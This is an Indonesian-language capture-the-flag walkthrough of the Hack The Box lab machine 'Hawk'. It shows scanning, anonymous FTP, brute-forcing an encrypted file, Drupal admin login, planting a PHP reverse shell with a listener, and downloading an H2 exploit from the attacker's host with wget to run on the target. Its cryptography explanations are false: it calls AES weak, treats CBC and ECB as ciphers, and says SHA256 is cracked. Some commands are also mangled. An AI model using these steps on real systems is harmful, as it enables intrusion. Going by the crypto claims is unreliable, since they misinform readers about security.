Target: 10.10.10.102
Kode nama: Hawk
Tujuan: seek the flag
Perangkat lunak: Nmap, Searchsploit, Python, PHP-Reverse-Shell
Tanggal kegiatan: 13 November 2018
Hawk adalah salah satu mesin lab pentest yang sediakan oleh situs web Hack The Box. Hal yang menarik atau poin utama dari artikel ini adalah hawk dalam skenario nya memiliki kerentanan pada keamanan blockchipher. Blockchiper adalah sebuah metode mengubah plaintext menjadi chipertext dengan tujuan supaya tidak mudah dibaca oleh pihak yang tidak diinginkan. Blockchiper dalam metodenya akan membagi setiap blok-blok rangkaian bit dengan panjang yang sama, kunci private dan kunci publik blockchiper menggunakan kunci yang sama (symetric). Hawk dapat dikatakan memiliki kerentanan pada blockchipher nya dikarenakan mendukung chiper yang lemah. Contoh cipher yang lemah seperti AES (Advanced Encryption Standard), DES (Data Encryption Standard), CBC (Cipher Block Chaining) atau ECB (Electronic Code Book) dan lain - lain. Berikut ini adalah pembahasannya.
Hack The Box: www.hackthebox.eu
1. RECON
Lakukan pemindaian dengan menggunakan tools nmap untuk mencari tahu port - port yang terbuka, lalu tambahkan opsi "-oN" supaya hasil pemindaian disimpan dalam sebuah berkas dengan format bebas (hawknmap.md).
$ nmap -sS -sV -A -O 10.10.10.102 -oN hawknmap.md
Perhatikanlah pada hasil pemindaian diatas, terdapat beberapa port yang terbuka seperti FTP (Login Anonymous), SSH, WEB HTTP dan H2 Database Console. Lakukan information gathering yang berhubungan dengan port - port tersebut misalnya apa itu anonymous login FTP, exploit untuk SSH versi 7.6.p1, dan exploit untuk H2 Database console.
Anonymous login FTP memungkinkan untuk login ke dalam port FTP tanpa menggunakan credential atau menggunakan anonymous sebagai username dan password. Lakukan login kedalam FTP Hawk dengan perintah:
$ ftp 10.10.10.102
$ username: anonymous
$ password:
Jika sudah berhasil masuk, cobalah untuk jelajahi setiap direktori, gunakan perintah berikut untuk menampilkan direktori yang disembunyikan.
$ ls -la
Disini ditemukan adanya berkas yang unik seperti ".drupal.txt.enc", lalu unduhlah berkas tersebut dengan menggunakan perintah.
$ get .drupal.txt.enc .drupal.txt.enc
2. ENUMERASI
Lakukan pemindaian terhadap direktori - direktori yang terdapat pada aplikasi web "Hawk", gunakan tools gobuster, melalui perintah seperti berikut ini:
$ gobuster -w /usr/share/dirb/wordlists/common.txt -u http://10.10.10.102/
Dari sekian banyak direktori, pasti ada salah satu yang menarik misalnya "/node" yang merupakan sebuah administrative URL atau halaman login CMS drupal.
3. DECRYPT
Dari tahap recon, kita sudah mendapatkan sebuah berkas unik berupa berkas *.enc yang apabila diperhatikan, berkas tersebut berisi kode encoding base64, cirinya adalah pada akhir karakter terdapat tanda “sama dengan” =.
$ more .drupal.txt.enc
Jalankan perintah berikut untuk melakukan decoding.
$ U2FsdGVkX19rWSAG1JNpLTawAmzz/ckaN1oZFZewtIM+e84km3Csja3GADUg2jJb
CmSdwTtr/IIShvTbUd0yQxfe9OuoMxxfNIUN/YPHx+vVw/6eOD+Cc1ftaiNUEiQz
QUf9FyxmCb2fuFoOXGphAMo+Pkc2ChXgLsj4RfgX+P7DkFa8w1ZA9Yj7kR+tyZfy
t4M0qvmWvMhAj3fuuKCCeFoXpYBOacGvUHRGywb4YCk= | base64 --decode
Setelah selesai melakukan decoding, encoding base64 tersebut tidak menghasilkan plaintext, tetapi berupa chipertext.
Belum diketahui chipertext sejenis apa yang telah kami didapatkan, untuk mencari tahunya adalah dengan cara melakukan pemindaian terhadap jumlah karakter, dengan menjalankan perintah sebagai berikut:
$ base64 -d .drupal.txt.enc | wc -c
Jumlah karakter yang didapatkan adalah 176 dan apabila angka tersebut dapat dibagi 8, maka kemungkinan besar chipertext tersebut adalah sejenis chiperblock yang biasa atau umum digunakan. Chiperblock paling umum adalah AES (Advanced Encryption Standard), DES (Data Encryption Standard), CBC (Cipher Block Chaining) atau ECB (Electronic Code Book). Setelah berhasil mendapatkan jenis chiperblock-nya lalu jalankan tools “bruteforce-salted-openssl” untuk mem-bruteforce berkas .drupal.txt.enc. Tools nya dapat diunduh melalui URL berikut:
https://github.com/glv2/bruteforce-salted-openssl
Agar dapat di brutefoce maka lakukan konversi terlebih dahulu terhadap berkas .drupal.txt.enc menjadi berkas .drupal.dat.
Bruteforce pertama dilakukan untuk mencari tahu passphrase yang digunakan oleh aplikasi web hawk.
$ base64 -d .drupal.txt.enc > drupal.dat
$ bruteforce-salted-openssl -t 6 -f /home/ghost/Desktop/wordlist/rockyou.txt -d sha256 -c AES-256-CBC drupal.dat
Hasil dari bruteforce pertama, penulis berhasil mendapatkan passphrase yakni "friends". Passphrase yang kami dapatkan merupakan secret key (atau mungkin salt key) yang akan digunakan untuk melakukan decrypt terhadap chipertext.
Bruteforce kedua dilakukan untuk melakukan decrypt terhadap isi berkas .drupal.txt.enc (yang sudah dikonversi) dengan menambahkan secret key "friends".
$ openssl enc -d -aes256 -salt -in drupal.dat out plaintext -k friends
Hasil decrypt menunjukan badan surat elektronik yang memuat password "PencilKeyboardScanner123".
Coba lah lakukan login pada administrative URL yang sebelumnya ditemukan pada tahap recon.
Bingo! Penulis berhasil login sebagai admin. Username yang digunakan adalah "admin" hasil menebak.
Setelah berhasil login kedalam CMS drupal, lalu pililah menu “modules” dan pilih “add content” dan beri tanda centang pada PHP filter, dikarenakan kita akan melakukan RCE dengan menggunakan "PHP reverse shell".
Setelah memberi centang pada PHP filter, kemudian tambahkanlah konten melalui menu "add article", jika bingung mencari menu nya dimana klik saja halaman berikut:
http://10.10.10.102/node/1#overlay=node/add/
Jika sudah masuk halaman “add article” tempelkan, source code "PHP reverse shell" pada body, kemudian lakukan penyesuaian pada bagian ini
$ ip = '10.10.XX.XX'; // IP LOKAL
$ port = 1234; // ATUR PORT
Jika sudah melakukan penyesuaian pada IP dan port, buatlah sebuah listening port terlebih dahulu pada terminal dengan menggunakan perangkat lunak NC.
$ ncat -lvp 1234
Sekarang klik submit pada CMS drupal dan perhatikan pada terminal yang berisi listening port:
Lanjutkan ke bagian bash, dengan cara :
$ export SHELL=BASH
$ export TERM=screen
$ python3 -c 'import pty; pty.spawn("/bin/sh")'
$ bash
$ www-data@hawk: cd /home/daniel/
$ www-data@hawk: more user.txt
Kembali pada tahap recon, jika web server hawk memiliki perangkat lunak H2 Database Console dan perangkat lunak tersebut berjalan pada port 8082. Ternyata, perangkat lunak tersebut memiliki kerentanan atau dapat di-exploit. Exploit H2 Database Console bisa didapatkan dengan cara menjalankan perintah:
$ searchsploit h2 database
Setelah berhasil mendapatkan exploit H2, unggah exploit tersebut menggunakan python melalui lokal komputer.
Lokal komputer
$ python -m SimpleHTTPServer 4455
Unduhlah exploit tersebut dari lokal komputer ke web server hawk dan jalankanlah exploit tersebut.
$ www-data@hawk:/tmp$ wget IP-Saya/namaexploit.py
$ www-data@hawk:/tmp$ python3 namaexploit.py -H 127.0.0.1:8082
Aplikasi web yang masih menggunakan chiperblock seperti AES, DES, CBC atau ECB sangat rentan terhadap serangan baik berupa serangan bruteforce atau serangan lainnya, karena chiperblock tersebut tergolong lemah atau tidak aman. Penulis membuat artikel ini pada tahun 2020, hingga sekarang ini jenis hash yang telah berhasil di crack oleh seorang kriptanalis sudah mencapai hash SHA256, artinya SHA256 sudah tergolong lemah. Jadi, untuk saat ini algoritma yang masih tergolong kuat adalah SHA512 atau bcript.
Oke, sekian artikel dari kami, terimasih telah meluangkan waktu untuk membaca dan happy hacking!